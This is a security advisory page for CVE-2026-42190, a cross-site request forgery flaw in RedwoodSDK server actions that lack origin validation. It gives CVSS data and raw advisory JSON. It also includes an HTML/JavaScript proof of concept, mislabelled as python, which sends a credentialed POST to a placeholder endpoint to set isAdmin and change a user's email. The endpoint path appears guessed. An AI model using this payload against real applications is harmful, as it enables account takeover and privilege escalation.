Security Vulnerability Report
中文
CVE-2026-42190 CVSS 5.3 MEDIUM

CVE-2026-42190

Published: 2026-05-08 20:16:32
Last Modified: 2026-05-08 20:16:32

Description

RedwoodSDK is a server-first React framework. From version 1.0.0-beta.50 to before version 1.2.3, server actions in rwsdk apply HTTP method enforcement but no origin validation. A request originating from a different origin that the browser treats as same-site can invoke a server action with the victim's session cookie attached. This issue has been patched in version 1.2.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

RedwoodSDK >= 1.0.0-beta.50, < 1.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-42190: RedwoodSDK Server Action CSRF Description: This HTML page demonstrates how an attacker could trigger a server action on a vulnerable RedwoodSDK application without Origin validation. Usage: Host this file on a domain that the browser treats as same-site (e.g., subdomain). --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>RedwoodSDK CSRF PoC</title> </head> <body> <h1>RedwoodSDK CSRF Exploit Test</h1> <script> // The target endpoint of the vulnerable RedwoodSDK server action const targetUrl = 'https://victim-redwood-app.com/redwood/functions/updateUserSettings'; // Malicious payload to be sent to the server const maliciousPayload = { userId: 1, email: '[email protected]', isAdmin: true }; // Execute the attack using fetch API fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', // 'X-Redwood-Action': 'updateUserSettings' // May be required depending on framework config }, body: JSON.stringify(maliciousPayload), credentials: 'include' // Ensures cookies are sent if the browser treats origin as same-site }) .then(response => { console.log('Attack request sent. Status:', response.status); alert('CSRF attack executed! Check console for details.'); }) .catch(error => { console.error('Attack failed:', error); }); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42190", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:31.580", "lastModified": "2026-05-08T20:16:31.580", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "RedwoodSDK is a server-first React framework. From version 1.0.0-beta.50 to before version 1.2.3, server actions in rwsdk apply HTTP method enforcement but no origin validation. A request originating from a different origin that the browser treats as same-site can invoke a server action with the victim's session cookie attached. This issue has been patched in version 1.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/redwoodjs/sdk/releases/tag/v1.2.3", "source": "[email protected]"}, {"url": "https://github.com/redwoodjs/sdk/security/advisories/GHSA-m2m6-cff5-3w7c", "source": "[email protected]"}]}}